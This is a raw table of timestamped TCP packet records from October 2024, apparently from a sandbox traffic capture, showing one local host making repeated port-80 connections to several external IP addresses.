                                                                                                                                                                              Oct 2, 2024 15:16:55.805675030 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467499971 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467536926 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467550993 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467652082 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467663050 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467673063 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467674971 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.467683077 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.467767000 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.467781067 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.468008995 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.468019009 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.468029022 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.468058109 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.468067884 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.472625017 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.472671986 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.472774029 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.580595970 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.580635071 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.580646992 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.580837011 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.584475040 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.584527016 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.584542036 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:56.584583998 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.584677935 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.587016106 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:56.591819048 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:01.637943029 CEST4971580192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:01.642946005 CEST804971567.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:01.643076897 CEST4971580192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:01.653134108 CEST4971580192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:01.659281969 CEST804971567.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:02.246546984 CEST804971567.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:02.246892929 CEST804971567.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:02.246947050 CEST4971580192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:03.161071062 CEST4971580192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:04.233601093 CEST4971680192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:04.239450932 CEST804971667.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:04.239597082 CEST4971680192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:04.262598991 CEST4971680192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:04.267734051 CEST804971667.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:04.824687958 CEST804971667.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:04.824872017 CEST804971667.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:04.824928045 CEST4971680192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:05.770708084 CEST4971680192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:06.792527914 CEST4971780192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:06.797600985 CEST804971767.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:06.797905922 CEST4971780192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:06.806843042 CEST4971780192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:06.811908960 CEST804971767.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:06.811919928 CEST804971767.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:07.370565891 CEST804971767.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:07.370582104 CEST804971767.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:07.370699883 CEST4971780192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:08.317589998 CEST4971780192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.337743044 CEST4971880192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.342678070 CEST804971867.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:09.343067884 CEST4971880192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.355076075 CEST4971880192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.359927893 CEST804971867.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:09.917254925 CEST804971867.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:09.917273045 CEST804971867.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:09.917404890 CEST4971880192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.919903040 CEST4971880192.168.2.767.223.117.169
                                                                                                                                                                              Oct 2, 2024 15:17:09.924758911 CEST804971867.223.117.169192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:15.694684029 CEST4971980192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:15.699661016 CEST8049719154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:15.699753046 CEST4971980192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:15.713336945 CEST4971980192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:15.718353987 CEST8049719154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:16.276119947 CEST8049719154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:16.276170969 CEST8049719154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:16.276221037 CEST4971980192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:17.223551989 CEST4971980192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:18.242511034 CEST4972080192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:18.247445107 CEST8049720154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:18.247549057 CEST4972080192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:18.259924889 CEST4972080192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:18.264913082 CEST8049720154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:18.850733042 CEST8049720154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:18.850774050 CEST8049720154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:18.850882053 CEST4972080192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:19.773632050 CEST4972080192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:20.789362907 CEST4972180192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:20.794677973 CEST8049721154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:20.795408964 CEST4972180192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:20.805764914 CEST4972180192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:20.810715914 CEST8049721154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:20.810791969 CEST8049721154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:21.390862942 CEST8049721154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:21.390964031 CEST8049721154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:21.391434908 CEST4972180192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:22.317264080 CEST4972180192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:23.338491917 CEST4972280192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:23.365948915 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:23.367409945 CEST4972280192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:23.375408888 CEST4972280192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:23.380228043 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:24.061463118 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:24.061490059 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:24.061506033 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:24.061619043 CEST4972280192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:24.066901922 CEST4972280192.168.2.7154.9.228.56
                                                                                                                                                                              Oct 2, 2024 15:17:24.072196960 CEST8049722154.9.228.56192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.087821960 CEST4972380192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:29.093127966 CEST8049723203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.093220949 CEST4972380192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:29.106699944 CEST4972380192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:29.111567020 CEST8049723203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.695713043 CEST8049723203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.695885897 CEST8049723203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.695935965 CEST4972380192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:30.614106894 CEST4972380192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:31.634552956 CEST4972480192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:31.639599085 CEST8049724203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:31.639683962 CEST4972480192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:31.652805090 CEST4972480192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:31.657803059 CEST8049724203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:32.235506058 CEST8049724203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:32.235631943 CEST8049724203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:32.242453098 CEST4972480192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:33.161022902 CEST4972480192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:34.180445910 CEST4972580192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:34.185367107 CEST8049725203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:34.187517881 CEST4972580192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:34.198438883 CEST4972580192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:34.203443050 CEST8049725203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:34.203453064 CEST8049725203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:34.801250935 CEST8049725203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:34.801424026 CEST8049725203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:34.803118944 CEST4972580192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:35.708009005 CEST4972580192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:36.727590084 CEST4972680192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:36.732553959 CEST8049726203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:36.735044956 CEST4972680192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:36.742149115 CEST4972680192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:36.747083902 CEST8049726203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:37.322199106 CEST8049726203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:37.322266102 CEST8049726203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:37.322525978 CEST4972680192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:37.325320959 CEST4972680192.168.2.7203.161.41.205
                                                                                                                                                                              Oct 2, 2024 15:17:37.330157042 CEST8049726203.161.41.205192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:42.378451109 CEST4972780192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:42.383301973 CEST80497273.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:42.383517027 CEST4972780192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:42.395409107 CEST4972780192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:42.400266886 CEST80497273.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:42.844758987 CEST80497273.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:42.849469900 CEST4972780192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:43.895504951 CEST4972780192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:43.900563002 CEST80497273.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:44.915409088 CEST4972880192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:44.920356989 CEST80497283.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:44.925389051 CEST4972880192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:44.935419083 CEST4972880192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:44.940279961 CEST80497283.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:45.395790100 CEST80497283.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:45.395842075 CEST4972880192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:46.447432041 CEST4972880192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:46.452332973 CEST80497283.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:47.461548090 CEST4972980192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:47.466414928 CEST80497293.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:47.466490984 CEST4972980192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:47.478786945 CEST4972980192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:47.483973026 CEST80497293.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:47.483984947 CEST80497293.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:47.950220108 CEST80497293.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:47.950275898 CEST4972980192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:48.990506887 CEST4972980192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:48.995841026 CEST80497293.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:50.059540033 CEST4973080192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:50.064558983 CEST80497303.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:50.071393013 CEST4973080192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:50.183412075 CEST4973080192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:50.188445091 CEST80497303.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:50.537909985 CEST80497303.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:50.537930012 CEST80497303.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:50.540004015 CEST4973080192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:50.575417995 CEST4973080192.168.2.73.33.130.190
                                                                                                                                                                              Oct 2, 2024 15:17:50.580349922 CEST80497303.33.130.190192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.047358036 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:56.052840948 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.055800915 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:56.065814018 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:56.070611954 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.639946938 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.639964104 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.639977932 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.640028954 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.640059948 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:56.640156031 CEST8049731162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:56.643016100 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:57.567611933 CEST4973180192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:58.586683035 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:58.591948032 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:58.592020035 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:58.606406927 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:58.611270905 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.176961899 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.176980972 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.176991940 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.177004099 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.177016973 CEST8049732162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:59.177073956 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:17:59.177958012 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:00.127295017 CEST4973280192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.216448069 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.221761942 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.221864939 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.337044001 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.341876984 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.342004061 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.788219929 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.788247108 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.788258076 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.788290024 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.832823038 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:01.849459887 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.849802017 CEST8049733162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:01.849847078 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:02.864510059 CEST4973380192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:03.882699013 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:04.059046030 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:04.059122086 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:04.069216967 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:04.074096918 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:04.666271925 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:04.666290045 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:04.666433096 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:05.300295115 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:05.300698996 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:05.300713062 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:05.300851107 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:05.300851107 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:05.303533077 CEST4973480192.168.2.7162.240.81.18
                                                                                                                                                                              Oct 2, 2024 15:18:05.308329105 CEST8049734162.240.81.18192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:10.388082981 CEST4973580192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:10.392990112 CEST80497355.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:10.393054962 CEST4973580192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:10.406963110 CEST4973580192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:10.411829948 CEST80497355.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:11.202374935 CEST80497355.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:11.202455044 CEST80497355.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:11.202465057 CEST80497355.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:11.209539890 CEST4973580192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:11.911111116 CEST4973580192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:12.930666924 CEST4973680192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:12.935581923 CEST80497365.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:12.935695887 CEST4973680192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:12.946862936 CEST4973680192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:12.951824903 CEST80497365.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:13.535244942 CEST80497365.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:13.535532951 CEST80497365.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:13.536061049 CEST4973680192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:14.457968950 CEST4973680192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:15.479348898 CEST4973780192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:15.484522104 CEST80497375.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:15.487293959 CEST4973780192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:15.499357939 CEST4973780192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:15.504300117 CEST80497375.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:15.504323959 CEST80497375.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:16.090841055 CEST80497375.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:16.090868950 CEST80497375.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:16.090914011 CEST4973780192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:17.004976988 CEST4973780192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.025510073 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.030481100 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.031522036 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.039576054 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.044349909 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.666999102 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667120934 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667140007 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667150974 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667169094 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667180061 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667191029 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667206049 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667217970 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667218924 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.667253971 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.667263031 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.667663097 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.667701006 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.672065973 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.672141075 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.672152042 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.672174931 CEST4973880192.168.2.75.39.10.93
